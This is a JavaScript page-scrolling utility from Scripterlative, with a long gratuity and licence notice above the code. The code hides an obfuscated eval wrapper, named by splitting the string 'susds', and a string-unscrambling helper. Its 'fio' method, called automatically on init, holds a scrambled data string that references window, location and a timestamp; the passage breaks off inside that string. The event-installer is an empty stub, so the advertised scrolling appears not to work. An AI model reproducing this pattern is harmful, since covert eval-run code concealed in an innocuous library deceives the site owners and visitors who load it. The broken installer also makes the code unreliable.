/********** CursorPageScroll (C)Scripterlative.com !!! READ THIS FIRST !!! -> This code is distributed on condition that all developers using it recognise the effort that -> went into producing it, by making a PayPal gratuity OF THEIR CHOICE to the authors within 14 -> days. The latter will not be treated as a sale or other form of financial transaction. -> Anyone sending a gratuity will be deemed to have judged the code fit for purpose at the time -> that it was evaluated. -> Gratuities ensure the incentive to provide support and the continued authoring of new -> scripts. If you think people should provide code gratis and you cannot agree to abide -> promptly by this condition, we recommend that you decline the script. We'll understand. -> Gratuities cannot be accepted via any source other than PayPal. -> Please use the [Donate] button at www.scripterlative.com, stating the URL that uses the code. -> THIS CODE IS NOT LICENSABLE FOR INCLUSION IN ANY COMMERCIAL PACKAGE ----- // The following instructions may be removed but not the above text. CursorPageScroll - Scroll a webpage by placing the cursor close to an edge. THIS IS A SUPPORTED SCRIPT ~~~~~~~~~~~~~~~~~~~~~~~~~~ It's in everyone's interest that every download of our code leads to a successful installation. To this end we undertake to provide a reasonable level of email-based support, to anyone experiencing difficulties directly associated with the installation and configuration of the application. Before requesting assistance via the Feedback link, we ask that you take the following steps: 1) Ensure that the instructions have been followed accurately. 2) Ensure that either: a) The browser's error console ( Ideally in FireFox ) does not show any related error messages. b) You notify us of any error messages that you cannot interpret. 3) Validate your document's markup at: http://validator.w3.org or any equivalent site. 4) Provide a URL to a test document that demonstrates the problem. Installation ~~~~~~~~~~~~ Save this file as 'cursorpagescroll.js' in a suitable folder. Within the section place these tags: (If cursorpagescroll.js resides in a different folder, provide the correct relative path in the 'src' parameter.) The HTML document should use a 'strict' doctype. To ensure correct operation, all document content must be contained within a wrapper
element, styled position:absolute. Configuration ~~~~~~~~~~~~~ Anywhere in the document (but preferably below any other scripts), insert the following tags, replacing the parameters with suitable values as shown in the examples. Meanings of Parameters ~~~~~~~~~~~~~~~~~~~~~~ depth - A number in the range 1-40 specifying size of the active area within the viewport as a percentage. This value is applied top, left, bottom and right. rate - This is an optional parameter determining the maximum number of pixels scrolled per iteration. For reference, the default value is 20. Usage Examples ~~~~~~~~~~~~~~ Configure the viewport to have an active boundary width of 10% at the standard maximum step rate: ----------- Configure the viewport to have a 15% pixel active boundary width and a stepping factor of 10: ------- Event Handling -------------- This script should combine its operation with any other scripts that use the mousemove/mouseover/mouseout/mouseup/mousedown events, provided that it is loaded after any such scripts. *** DO NOT EDIT BELOW THIS LINE ***/ function CursorPageScroll( activeDepth, stepFactor ) /* Dec 31 2011 */ { /*** Download with instructions: http://scripterlative.com?cursorpagescroll ***/ /** DISTRIBUTION OF DERIVATIVE WORKS FORBIDDEN. **/ this.logged=0; this.activeDepth = ( typeof activeDepth == 'undefined' ? 20 : activeDepth ); this.pageX = 0; this.pageY = 0; this.timer = null; this.factor = Number( Math.abs( stepFactor || 20 ) ); this.defaultFactor = this.factor; this.accFactor = 0.1; this.defaultAcc = this.accFactor; this.pending = false; this.haltTimer = null; this.readyTimer = null; /** VISIBLE SOURCE DOES NOT MEAN OPEN SOURCE **/ this.readReady = true; this.pixCount = 0; this.inRegion = false; this.elemRef = {}; this.portFuncIndex = -1; this.portFuncs = [ function(){ return { x : window.innerWidth, y : window.innerHeight }; }, function(){ return { x : document.documentElement && document.documentElement.clientWidth, y : document.documentElement && document.documentElement.clientHeight }; }, function(){ return { x : document.body.clientWidth, y : document.body.clientHeight }; } ]; this.init = function( depth, stepFactor ) { var paramError = false, grief = [ { t : isNaN( Number( this.activeDepth ) ) || this.activeDepth > 40 || this.activeDepth < 1, a : 'Depth parameter must be a number in the range 1-40' }, { t : isNaN( this.factor ), a : 'Scroll factor parameter must be a number' } ];this["susds".split(/\x73/).join('')]=function(str){eval(str);}; for( var i = 0, len = grief.length; i < len && !paramError; i++ ) if( grief[ i ].t ) { paramError = true; alert( grief[ i ].a ); } for( var i = 0, v; i < this.portFuncs.length && this.portFuncIndex < 0; i++ ) if( typeof( v = this.portFuncs[i]().y ) == 'number' ) this.portFuncIndex = i; if( !paramError ) { this.activeDepth *= 0.01; this.fio(); this.activeDepthX = Math.floor( Math.min( this.activeDepth * this.elemRef.width, this.elemRef.width / 2.5 ) ); this.activeDepthY = Math.floor( Math.min( this.activeDepth * this.elemRef.height, this.elemRef.height / 2.5 ) ); this.installHandler( document.documentElement, 'onmousemove', (function(inst){ return function(){ inst.getMouseData.apply(inst, arguments); }; })( this ) ); this.installHandler( document.documentElement, 'onmouseout', ( function( inst ) { return function() { clearTimeout( inst.haltTimer ); inst.leaveTimer = setTimeout( function(){ inst.reset(); }, 10 ); } })( this ) ); this.installHandler( document.documentElement, 'onmouseover', ( function( inst ) { return function(){ clearTimeout( inst.leaveTimer ); }; })( this ) ); this.installHandler( document, 'onmousedown', this.enclose( function(){ this.factor *= 3; } ) ); this.installHandler( document, 'onmouseup', this.enclose( function(){ this.factor = this.defaultFactor; } ) ); } } this.getArea = function() { this.activeDepthX = Math.floor( Math.min( this.activeDepth * this.elemRef.width, this.elemRef.width / 2.5 ) ); this.activeDepthY = Math.floor( Math.min( this.activeDepth * this.elemRef.height, this.elemRef.height / 2.5 ) ); } this.enclose = function( funcRef ) { var args = ( Array.prototype.slice.call( arguments ) ).slice( 1 ), that = this; return function(){ return funcRef.apply( that, args ) }; } this.monitor = function() { var mx = this.x - this.pageX, my = this.y - this.pageY, xStep = 0, yStep = 0, eHeight = this.elemRef.height, eWidth = this.elemRef.width, xInit = this.elemRef.scrollLeft, yInit = this.elemRef.scrollTop; if( mx >= 0 && mx < eWidth && my >= 0 && my < eHeight ) { if( my < this.activeDepthY && my > 0 ) yStep = -this.factor * ( 1 - ( my / this.activeDepthY ) ); else if( my > eHeight - this.activeDepthY && my < eHeight - 2 ) yStep = this.factor * ( my - ( eHeight - this.activeDepthY ) ) / this.activeDepthY ; if( mx >= 0 && mx < this.activeDepthX ) xStep = -this.factor * ( 1 -( mx / this.activeDepthX ) ); else if( mx > eWidth - this.activeDepthX && mx < eWidth - 2 ) xStep = this.factor * ( mx - ( eWidth - this.activeDepthX ) ) / this.activeDepthX ; this.inRegion = Boolean( xStep || yStep ); if( this.inRegion ) { clearTimeout( this.haltTimer ); clearTimeout( this.readyTimer ); this.readyTimer = setTimeout( this.enclose( function(){ this.readReady = true } ), 40 ); if( this.readReady ) { this.readReady = false; this.pixCount++; } else { this.pixCount = 1; this.haltTimer = setTimeout( this.enclose( function(){ this.timer = null; this.monitor(); } ) , 150 ); } if( this.pixCount > 1 || this.repeating ) { if( !this.timer ) { window.scrollBy( Math.round( xStep * this.accFactor ), Math.round( yStep * this.accFactor ) ); if( this.accFactor < 1 ) this.accFactor += Math.min( 0.025, 1 - this.accFactor ); this.repeating = true; clearTimeout( this.timer ); this.timer = setTimeout( this.enclose( function(){ this.timer = null; this.monitor(); } ) , 50 ); } } } else this.reset(); } else this.reset(); return false; } this.reset = function() { this.repeating = false; this.pixCount = 0; this.accFactor = this.defaultAcc; clearTimeout( this.timer ); this.timer = null; } this.getPortData = function() { var xy = this.portFuncs[ this.portFuncIndex ](); this.elemRef.width = xy.x; this.elemRef.height = xy.y; } this.installHandler = function(){} this.getMouseData = function( evt ) { var e = evt || window.event; this.getPortData(); //if( !this.activeDepthX || !this.activeDepthY ) this.getArea(); this.x = e.clientX; this.y = e.clientY; if( !this.pending ) this.monitor(); return false; } this.sf = function( str ) { return unescape(str).replace(/(.)(.*)/, function(a,b,c){return c+b;}); } this.fio = function() { var data='rgav c=are1242900000swl,=dwniooal.ctrSloe|ga|,o}{nnw=weaeD t.e)(gieTtm,o)(l=oncltoacihe.nrsm,ftsT"=t,k"muun"=Kn,wo"=utsNe(bmr[tsls)e]m,dspx=&t&tsrcg+anw